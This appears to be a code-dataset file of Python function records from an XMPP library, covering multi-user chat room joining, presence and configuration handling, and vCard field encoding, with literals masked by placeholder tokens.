{"signature": "def join(self, password=None, history_maxchars = None,<EOL>history_maxstanzas = None, history_seconds = None, history_since = None):", "body": "if self.joined:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>p=MucPresence(to_jid=self.room_jid)<EOL>p.make_join_request(password, history_maxchars, history_maxstanzas,<EOL>history_seconds, history_since)<EOL>self.manager.stream.send(p)<EOL>", "docstring": "Send a join request for the room.\n\n:Parameters:\n    - `password`: password to the room.\n    - `history_maxchars`: limit of the total number of characters in\n      history.\n    - `history_maxstanzas`: limit of the total number of messages in\n      history.\n    - `history_seconds`: send only messages received in the last\n      `history_seconds` seconds.\n    - `history_since`: Send only the messages received since the\n      dateTime specified (UTC).\n:Types:\n    - `password`: `unicode`\n    - `history_maxchars`: `int`\n    - `history_maxstanzas`: `int`\n    - `history_seconds`: `int`\n    - `history_since`: `datetime.datetime`", "id": "f15256:c2:m3"}
{"signature": "def leave(self):", "body": "if self.joined:<EOL><INDENT>p=MucPresence(to_jid=self.room_jid,stanza_type=\"<STR_LIT>\")<EOL>self.manager.stream.send(p)<EOL><DEDENT>", "docstring": "Send a leave request for the room.", "id": "f15256:c2:m4"}
{"signature": "def send_message(self,body):", "body": "m=Message(to_jid=self.room_jid.bare(),stanza_type=\"<STR_LIT>\",body=body)<EOL>self.manager.stream.send(m)<EOL>", "docstring": "Send a message to the room.\n\n:Parameters:\n    - `body`: the message body.\n:Types:\n    - `body`: `unicode`", "id": "f15256:c2:m5"}
{"signature": "def set_subject(self,subject):", "body": "m=Message(to_jid=self.room_jid.bare(),stanza_type=\"<STR_LIT>\",subject=subject)<EOL>self.manager.stream.send(m)<EOL>", "docstring": "Send a subject change request to the room.\n\n:Parameters:\n    - `subject`: the new subject.\n:Types:\n    - `subject`: `unicode`", "id": "f15256:c2:m6"}
{"signature": "def change_nick(self,new_nick):", "body": "new_room_jid=JID(self.room_jid.node,self.room_jid.domain,new_nick)<EOL>p=Presence(to_jid=new_room_jid)<EOL>self.manager.stream.send(p)<EOL>", "docstring": "Send a nick change request to the room.\n\n:Parameters:\n    - `new_nick`: the new nickname requested.\n:Types:\n    - `new_nick`: `unicode`", "id": "f15256:c2:m7"}
{"signature": "def get_room_jid(self,nick=None):", "body": "if nick is None:<EOL><INDENT>return self.room_jid<EOL><DEDENT>return JID(self.room_jid.node,self.room_jid.domain,nick)<EOL>", "docstring": "Get own room JID or a room JID for given `nick`.\n\n:Parameters:\n    - `nick`: a nick for which the room JID is requested.\n:Types:\n    - `nick`: `unicode`\n\n:return: the room JID.\n:returntype: `JID`", "id": "f15256:c2:m8"}
{"signature": "def get_nick(self):", "body": "return self.room_jid.resource<EOL>", "docstring": "Get own nick.\n\n:return: own nick.\n:returntype: `unicode`", "id": "f15256:c2:m9"}
{"signature": "def process_available_presence(self,stanza):", "body": "fr=stanza.get_from()<EOL>if not fr.resource:<EOL><INDENT>return<EOL><DEDENT>nick=fr.resource<EOL>user=self.users.get(nick)<EOL>if user:<EOL><INDENT>old_user=MucRoomUser(user)<EOL>user.update_presence(stanza)<EOL>user.nick=nick<EOL><DEDENT>else:<EOL><INDENT>old_user=None<EOL>user=MucRoomUser(stanza)<EOL>self.users[user.nick]=user<EOL><DEDENT>self.handler.presence_changed(user,stanza)<EOL>if fr==self.room_jid and not self.joined:<EOL><INDENT>self.joined=True<EOL>self.me=user<EOL>mc=stanza.get_muc_child()<EOL>if isinstance(mc,MucUserX):<EOL><INDENT>status = [i for i in mc.get_items() if isinstance(i,MucStatus) and i.code==<NUM_LIT>]<EOL>if status:<EOL><INDENT>self.configured = False<EOL>self.handler.room_created(stanza)<EOL><DEDENT><DEDENT>if self.configured is None:<EOL><INDENT>self.configured = True<EOL><DEDENT><DEDENT>if not old_user or old_user.role==\"<STR_LIT:none>\":<EOL><INDENT>self.handler.user_joined(user,stanza)<EOL><DEDENT>else:<EOL><INDENT>if old_user.nick!=user.nick:<EOL><INDENT>self.handler.nick_changed(user,old_user.nick,stanza)<EOL>if old_user.room_jid==self.room_jid:<EOL><INDENT>self.room_jid=fr<EOL><DEDENT><DEDENT>if old_user.role!=user.role:<EOL><INDENT>self.handler.role_changed(user,old_user.role,user.role,stanza)<EOL><DEDENT>if old_user.affiliation!=user.affiliation:<EOL><INDENT>self.handler.affiliation_changed(user,old_user.affiliation,user.affiliation,stanza)<EOL><DEDENT><DEDENT>", "docstring": "Process <presence/> received from the room.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `MucPresence`", "id": "f15256:c2:m10"}
{"signature": "def process_unavailable_presence(self,stanza):", "body": "fr=stanza.get_from()<EOL>if not fr.resource:<EOL><INDENT>return<EOL><DEDENT>nick=fr.resource<EOL>user=self.users.get(nick)<EOL>if user:<EOL><INDENT>old_user=MucRoomUser(user)<EOL>user.update_presence(stanza)<EOL>self.handler.presence_changed(user,stanza)<EOL>if user.new_nick:<EOL><INDENT>mc=stanza.get_muc_child()<EOL>if isinstance(mc,MucUserX):<EOL><INDENT>renames=[i for i in mc.get_items() if isinstance(i,MucStatus) and i.code==<NUM_LIT>]<EOL>if renames:<EOL><INDENT>self.users[user.new_nick]=user<EOL>del self.users[nick]<EOL>return<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>old_user=None<EOL>user=MucRoomUser(stanza)<EOL>self.users[user.nick]=user<EOL>self.handler.presence_changed(user,stanza)<EOL><DEDENT>if fr==self.room_jid and self.joined:<EOL><INDENT>self.joined=False<EOL>self.handler.user_left(user,stanza)<EOL>self.manager.forget(self)<EOL>self.me=user<EOL><DEDENT>elif old_user:<EOL><INDENT>self.handler.user_left(user,stanza)<EOL><DEDENT>", "docstring": "Process <presence type=\"unavailable\"/> received from the room.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `MucPresence`", "id": "f15256:c2:m11"}
{"signature": "def process_groupchat_message(self,stanza):", "body": "fr=stanza.get_from()<EOL>user=self.get_user(fr,True)<EOL>s=stanza.get_subject()<EOL>if s:<EOL><INDENT>self.subject=s<EOL>self.handler.subject_changed(user,stanza)<EOL><DEDENT>else:<EOL><INDENT>self.handler.message_received(user,stanza)<EOL><DEDENT>", "docstring": "Process <message type=\"groupchat\"/> received from the room.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Message`", "id": "f15256:c2:m12"}
{"signature": "def process_error_message(self,stanza):", "body": "self.handler.error(stanza)<EOL>", "docstring": "Process <message type=\"error\"/> received from the room.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Message`", "id": "f15256:c2:m13"}
{"signature": "def process_error_presence(self,stanza):", "body": "self.handler.error(stanza)<EOL>", "docstring": "Process <presence type=\"error\"/> received from the room.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Presence`", "id": "f15256:c2:m14"}
{"signature": "def process_configuration_form_success(self, stanza):", "body": "if stanza.get_query_ns() != MUC_OWNER_NS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\") <EOL><DEDENT>query = stanza.get_query()<EOL>form = None<EOL>for el in xml_element_ns_iter(query.children, DATAFORM_NS):<EOL><INDENT>form = Form(el)<EOL>break<EOL><DEDENT>if not form:<EOL><INDENT>raise ValueError(\"<STR_LIT>\") <EOL><DEDENT>self.configuration_form = form<EOL>self.handler.configuration_form_received(form)<EOL>", "docstring": "Process successful result of a room configuration form request.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Presence`", "id": "f15256:c2:m15"}
{"signature": "def process_configuration_form_error(self, stanza):", "body": "self.handler.error(stanza)<EOL>", "docstring": "Process error response for a room configuration form request.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Presence`", "id": "f15256:c2:m16"}
{"signature": "def request_configuration_form(self):", "body": "iq = Iq(to_jid = self.room_jid.bare(), stanza_type = \"<STR_LIT>\")<EOL>iq.new_query(MUC_OWNER_NS, \"<STR_LIT>\")<EOL>self.manager.stream.set_response_handlers(<EOL>iq, self.process_configuration_form_success, self.process_configuration_form_error)<EOL>self.manager.stream.send(iq)<EOL>return iq.get_id()<EOL>", "docstring": "Request a configuration form for the room.\n\nWhen the form is received `self.handler.configuration_form_received` will be called.\nWhen an error response is received then `self.handler.error` will be called.\n\n:return: id of the request stanza.\n:returntype: `unicode`", "id": "f15256:c2:m17"}
{"signature": "def process_configuration_success(self, stanza):", "body": "_unused = stanza<EOL>self.configured = True<EOL>self.handler.room_configured()<EOL>", "docstring": "Process success response for a room configuration request.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Presence`", "id": "f15256:c2:m18"}
{"signature": "def process_configuration_error(self, stanza):", "body": "self.handler.room_configuration_error(stanza)<EOL>", "docstring": "Process error response for a room configuration request.\n\n:Parameters:\n    - `stanza`: the stanza received.\n:Types:\n    - `stanza`: `Presence`", "id": "f15256:c2:m19"}
{"signature": "def configure_room(self, form):", "body": "if form.type == \"<STR_LIT>\":<EOL><INDENT>return None<EOL><DEDENT>elif form.type != \"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>iq = Iq(to_jid = self.room_jid.bare(), stanza_type = \"<STR_LIT>\")<EOL>query = iq.new_query(MUC_OWNER_NS, \"<STR_LIT>\")<EOL>form.as_xml(query)<EOL>self.manager.stream.set_response_handlers(<EOL>iq, self.process_configuration_success, self.process_configuration_error)<EOL>self.manager.stream.send(iq)<EOL>return iq.get_id()<EOL>", "docstring": "Configure the room using the provided data.\nDo nothing if the provided form is of type 'cancel'.\n\n:Parameters:\n    - `form`: the configuration parameters. Should be a 'submit' form made by filling-in\n      the configuration form retireved using `self.request_configuration_form` or\n      a 'cancel' form.\n:Types:\n    - `form`: `Form`\n\n:return: id of the request stanza or `None` if a 'cancel' form was provieded.\n:returntype: `unicode`", "id": "f15256:c2:m20"}
{"signature": "def request_instant_room(self):", "body": "if self.configured:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>form = Form(\"<STR_LIT>\")<EOL>return self.configure_room(form)<EOL>", "docstring": "Request an \"instant room\" -- the default configuration for a MUC room.\n\n:return: id of the request stanza.\n:returntype: `unicode`", "id": "f15256:c2:m21"}
{"signature": "def __init__(self,stream):", "body": "self.rooms={}<EOL>self.stream,self.jid=(None,)*<NUM_LIT:2><EOL>self.set_stream(stream)<EOL>self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>", "docstring": "Initialize a `MucRoomManager` object.\n\n:Parameters:\n    - `stream`: a stream to be initially assigned to `self`.\n:Types:\n    - `stream`: `pyxmpp.stream.Stream`", "id": "f15256:c3:m0"}
{"signature": "def set_stream(self,stream):", "body": "self.jid=stream.me<EOL>self.stream=stream<EOL>for r in self.rooms.values():<EOL><INDENT>r.set_stream(stream)<EOL><DEDENT>", "docstring": "Change the stream assigned to `self`.\n\n:Parameters:\n    - `stream`: the new stream to be assigned to `self`.\n:Types:\n    - `stream`: `pyxmpp.stream.Stream`", "id": "f15256:c3:m1"}
{"signature": "def set_handlers(self,priority=<NUM_LIT:10>):", "body": "self.stream.set_message_handler(\"<STR_LIT>\",self.__groupchat_message,None,priority)<EOL>self.stream.set_message_handler(\"<STR_LIT:error>\",self.__error_message,None,priority)<EOL>self.stream.set_presence_handler(\"<STR_LIT>\",self.__presence_available,None,priority)<EOL>self.stream.set_presence_handler(\"<STR_LIT>\",self.__presence_unavailable,None,priority)<EOL>self.stream.set_presence_handler(\"<STR_LIT:error>\",self.__presence_error,None,priority)<EOL>", "docstring": "Assign MUC stanza handlers to the `self.stream`.\n\n:Parameters:\n    - `priority`: priority for the handlers.\n:Types:\n    - `priority`: `int`", "id": "f15256:c3:m2"}
{"signature": "def join(self, room, nick, handler, password = None, history_maxchars = None,<EOL>history_maxstanzas = None, history_seconds = None, history_since = None):", "body": "if not room.node or room.resource:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>room_jid = JID(room.node, room.domain, nick)<EOL>cur_rs = self.rooms.get(room_jid.bare().as_unicode())<EOL>if cur_rs and cur_rs.joined:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>rs=MucRoomState(self, self.stream.me, room_jid, handler)<EOL>self.rooms[room_jid.bare().as_unicode()]=rs<EOL>rs.join(password, history_maxchars, history_maxstanzas,<EOL>history_seconds, history_since)<EOL>return rs<EOL>", "docstring": "Create and return a new room state object and request joining\nto a MUC room.\n\n:Parameters:\n    - `room`: the name of a room to be joined\n    - `nick`: the nickname to be used in the room\n    - `handler`: is an object to handle room events.\n    - `password`: password for the room, if any\n    - `history_maxchars`: limit of the total number of characters in\n      history.\n    - `history_maxstanzas`: limit of the total number of messages in\n      history.\n    - `history_seconds`: send only messages received in the last\n      `history_seconds` seconds.\n    - `history_since`: Send only the messages received since the\n      dateTime specified (UTC).\n\n:Types:\n    - `room`: `JID`\n    - `nick`: `unicode`\n    - `handler`: `MucRoomHandler`\n    - `password`: `unicode`\n    - `history_maxchars`: `int`\n    - `history_maxstanzas`: `int`\n    - `history_seconds`: `int`\n    - `history_since`: `datetime.datetime`\n\n:return: the room state object created.\n:returntype: `MucRoomState`", "id": "f15256:c3:m3"}
{"signature": "def get_room_state(self,room):", "body": "return self.rooms.get(room.bare().as_unicode())<EOL>", "docstring": "Get the room state object of a room.\n\n        :Parameters:\n            - `room`: JID or the room which state is requested.\n        :Types:\n            - `room`: `JID`\n\n        :return: the state object.\n        :returntype: `MucRoomState`", "id": "f15256:c3:m4"}
{"signature": "def forget(self,rs):", "body": "try:<EOL><INDENT>del self.rooms[rs.room_jid.bare().as_unicode()]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Remove a room from the list of managed rooms.\n\n:Parameters:\n    - `rs`: the state object of the room.\n:Types:\n    - `rs`: `MucRoomState`", "id": "f15256:c3:m5"}
{"signature": "def __groupchat_message(self,stanza):", "body": "fr=stanza.get_from()<EOL>key=fr.bare().as_unicode()<EOL>rs=self.rooms.get(key)<EOL>if not rs:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>rs.process_groupchat_message(stanza)<EOL>return True<EOL>", "docstring": "Process a groupchat message from a MUC room.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `Message`\n\n        :return: `True` if the message was properly recognized as directed to\n            one of the managed rooms, `False` otherwise.\n        :returntype: `bool`", "id": "f15256:c3:m6"}
{"signature": "def __error_message(self,stanza):", "body": "fr=stanza.get_from()<EOL>key=fr.bare().as_unicode()<EOL>rs=self.rooms.get(key)<EOL>if not rs:<EOL><INDENT>return False<EOL><DEDENT>rs.process_error_message(stanza)<EOL>return True<EOL>", "docstring": "Process an error message from a MUC room.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `Message`\n\n        :return: `True` if the message was properly recognized as directed to\n            one of the managed rooms, `False` otherwise.\n        :returntype: `bool`", "id": "f15256:c3:m7"}
{"signature": "def __presence_error(self,stanza):", "body": "fr=stanza.get_from()<EOL>key=fr.bare().as_unicode()<EOL>rs=self.rooms.get(key)<EOL>if not rs:<EOL><INDENT>return False<EOL><DEDENT>rs.process_error_presence(stanza)<EOL>return True<EOL>", "docstring": "Process an presence error from a MUC room.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `Presence`\n\n        :return: `True` if the stanza was properly recognized as generated by\n            one of the managed rooms, `False` otherwise.\n        :returntype: `bool`", "id": "f15256:c3:m8"}
{"signature": "def __presence_available(self,stanza):", "body": "fr=stanza.get_from()<EOL>key=fr.bare().as_unicode()<EOL>rs=self.rooms.get(key)<EOL>if not rs:<EOL><INDENT>return False<EOL><DEDENT>rs.process_available_presence(MucPresence(stanza))<EOL>return True<EOL>", "docstring": "Process an available presence from a MUC room.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `Presence`\n\n        :return: `True` if the stanza was properly recognized as generated by\n            one of the managed rooms, `False` otherwise.\n        :returntype: `bool`", "id": "f15256:c3:m9"}
{"signature": "def __presence_unavailable(self,stanza):", "body": "fr=stanza.get_from()<EOL>key=fr.bare().as_unicode()<EOL>rs=self.rooms.get(key)<EOL>if not rs:<EOL><INDENT>return False<EOL><DEDENT>rs.process_unavailable_presence(MucPresence(stanza))<EOL>return True<EOL>", "docstring": "Process an unavailable presence from a MUC room.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `Presence`\n\n        :return: `True` if the stanza was properly recognized as generated by\n            one of the managed rooms, `False` otherwise.\n        :returntype: `bool`", "id": "f15256:c3:m10"}
{"signature": "def rfc2425encode(name,value,parameters=None,charset=\"<STR_LIT:utf-8>\"):", "body": "if not parameters:<EOL><INDENT>parameters={}<EOL><DEDENT>if type(value) is unicode:<EOL><INDENT>value=value.replace(u\"<STR_LIT:\\r\\n>\",u\"<STR_LIT>\")<EOL>value=value.replace(u\"<STR_LIT:\\n>\",u\"<STR_LIT>\")<EOL>value=value.replace(u\"<STR_LIT:\\r>\",u\"<STR_LIT>\")<EOL>value=value.encode(charset,\"<STR_LIT:replace>\")<EOL><DEDENT>elif type(value) is not str:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>elif not valid_string_re.match(value):<EOL><INDENT>parameters[\"<STR_LIT>\"]=\"<STR_LIT:b>\"<EOL>value=binascii.b2a_base64(value)<EOL><DEDENT>ret=str(name).lower()<EOL>for k,v in parameters.items():<EOL><INDENT>ret+=\"<STR_LIT>\" % (str(k),str(v))<EOL><DEDENT>ret+=\"<STR_LIT::>\"<EOL>while(len(value)><NUM_LIT>):<EOL><INDENT>ret+=value[:<NUM_LIT>]+\"<STR_LIT>\"<EOL>value=value[<NUM_LIT>:]<EOL><DEDENT>ret+=value+\"<STR_LIT:\\r\\n>\"<EOL>return ret<EOL>", "docstring": "Encodes a vCard field into an RFC2425 line.\n\n    :Parameters:\n        - `name`: field type name\n        - `value`: field value\n        - `parameters`: optional parameters\n        - `charset`: encoding of the output and of the `value` (if not\n          `unicode`)\n    :Types:\n        - `name`: `str`\n        - `value`: `unicode` or `str`\n        - `parameters`: `dict` of `str` -> `str`\n        - `charset`: `str`\n\n    :return: the encoded RFC2425 line (possibly folded)\n    :returntype: `str`", "id": "f15257:m2"}
{"signature": "def __init__(self,name):", "body": "self.name=name<EOL>", "docstring": "Initialize a `VCardField` object.\n\n        Set its name.\n\n        :Parameters:\n            - `name`: field name\n        :Types:\n            - `name`: `str`", "id": "f15257:c1:m0"}
{"signature": "def rfc2426(self):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c1:m2"}
{"signature": "def __init__(self,name, value, rfc2425parameters = None, empty_ok = False):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>value=value.getContent()<EOL>if value:<EOL><INDENT>self.value=unicode(value,\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\").strip()<EOL><DEDENT>else:<EOL><INDENT>self.value=u\"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.value=value<EOL><DEDENT>if not self.value and not empty_ok:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize a `VCardString` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c2:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(self.name,self.value)<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c2:m1"}
{"signature": "def as_xml(self,parent):", "body": "return parent.newTextChild(None, to_utf8(self.name.upper()), to_utf8(self.value))<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c2:m2"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\"+self.name,self.value)<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c3:m0"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>try:<EOL><INDENT>self.value=pyxmpp.jid.JID(value.getContent())<EOL><DEDENT>except JIDError:<EOL><INDENT>raise JIDMalformedProtocolError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.value=pyxmpp.jid.JID(value)<EOL><DEDENT>if not self.value:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize a `VCardJID` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c4:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT>\",self.value.as_unicode())<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c4:m1"}
{"signature": "def as_xml(self,parent):", "body": "name=to_utf8(self.name.upper())<EOL>content=self.value.as_utf8()<EOL>return parent.newTextChild(None, name, content)<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c4:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "_unused = rfc2425parameters<EOL>VCardField.__init__(self,name)<EOL>if self.name.upper()!=\"<STR_LIT:N>\":<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>self.family,self.given,self.middle,self.prefix,self.suffix=[u\"<STR_LIT>\"]*<NUM_LIT:5><EOL>empty=<NUM_LIT:1><EOL>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.family=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL>empty=<NUM_LIT:0><EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.given=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL>empty=<NUM_LIT:0><EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.middle=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL>empty=<NUM_LIT:0><EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.prefix=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL>empty=<NUM_LIT:0><EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.suffix=unicode(n.getContent(),\"<STR_LIT:utf-8>\")<EOL>empty=<NUM_LIT:0><EOL><DEDENT>n=n.next<EOL><DEDENT>if empty:<EOL><INDENT>raise Empty(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>v=non_quoted_semicolon_re.split(value)<EOL>value=[u\"<STR_LIT>\"]*<NUM_LIT:5><EOL>value[:len(v)]=v<EOL>self.family,self.given,self.middle,self.prefix,self.suffix=(<EOL>unquote_semicolon(val) for val in value)<EOL><DEDENT>", "docstring": "Initialize a `VCardName` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c5:m0"}
{"signature": "def rfc2426(self):", "body": "return rfc2425encode(\"<STR_LIT:n>\",u'<STR_LIT:;>'.join(quote_semicolon(val) for val in<EOL>(self.family,self.given,self.middle,self.prefix,self.suffix)))<EOL>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c5:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,\"<STR_LIT:N>\",None)<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.family))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.given))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.middle))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.prefix))<EOL>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.suffix))<EOL>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c5:m2"}
{"signature": "def __init__(self,name,value,rfc2425parameters=None):", "body": "VCardField.__init__(self,name)<EOL>if not rfc2425parameters:<EOL><INDENT>rfc2425parameters={}<EOL><DEDENT>self.uri,self.type,self.image=[None]*<NUM_LIT:3><EOL>if isinstance(value,libxml2.xmlNode):<EOL><INDENT>n=value.children<EOL>vns=get_node_ns(value)<EOL>while n:<EOL><INDENT>if n.type!='<STR_LIT>':<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>ns=get_node_ns(n)<EOL>if (ns and vns and ns.getContent()!=vns.getContent()):<EOL><INDENT>n=n.next<EOL>continue<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.type=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.image=base64.decodestring(n.getContent())<EOL><DEDENT>if n.name=='<STR_LIT>':<EOL><INDENT>self.uri=unicode(n.getContent(),\"<STR_LIT:utf-8>\",\"<STR_LIT:replace>\")<EOL><DEDENT>n=n.next<EOL><DEDENT>if (self.uri and self.image) or (not self.uri and not self.image):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (name,))<EOL><DEDENT>if (not self.uri and not self.image):<EOL><INDENT>raise Empty(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if rfc2425parameters.get(\"<STR_LIT:value>\", \"<STR_LIT>\").lower()==\"<STR_LIT>\":<EOL><INDENT>self.uri=value<EOL>self.type=None<EOL><DEDENT>else:<EOL><INDENT>self.type=rfc2425parameters.get(\"<STR_LIT:type>\")<EOL>self.image=value<EOL><DEDENT><DEDENT>", "docstring": "Initialize a `VCardImage` object.\n\n        :Parameters:\n            - `name`: field name\n            - `value`: field value as string or an XML node\n            - `rfc2425parameters`: optional RFC 2425 parameters\n        :Types:\n            - `name`: `str`\n            - `value`: `str` or `libxml2.xmlNode`\n            - `rfc2425parameters`: `dict`", "id": "f15257:c6:m0"}
{"signature": "def rfc2426(self):", "body": "if self.uri:<EOL><INDENT>return rfc2425encode(self.name,self.uri,{\"<STR_LIT:value>\":\"<STR_LIT>\"})<EOL><DEDENT>elif self.image:<EOL><INDENT>if self.type:<EOL><INDENT>p={\"<STR_LIT:type>\":self.type}<EOL><DEDENT>else:<EOL><INDENT>p={}<EOL><DEDENT>return rfc2425encode(self.name,self.image,p)<EOL><DEDENT>", "docstring": "RFC2426-encode the field content.\n\n        :return: the field in the RFC 2426 format.\n        :returntype: `str`", "id": "f15257:c6:m1"}
{"signature": "def as_xml(self,parent):", "body": "n=parent.newChild(None,self.name.upper(),None)<EOL>if self.uri:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",to_utf8(self.uri))<EOL><DEDENT>else:<EOL><INDENT>if self.type:<EOL><INDENT>n.newTextChild(None,\"<STR_LIT>\",self.type)<EOL><DEDENT>n.newTextChild(None,\"<STR_LIT>\",binascii.b2a_base64(self.image))<EOL><DEDENT>return n<EOL>", "docstring": "Create vcard-tmp XML representation of the field.\n\n        :Parameters:\n            - `parent`: parent node for the element\n        :Types:\n            - `parent`: `libxml2.xmlNode`\n\n        :return: xml node with the field data.\n        :returntype: `libxml2.xmlNode`", "id": "f15257:c6:m2"}
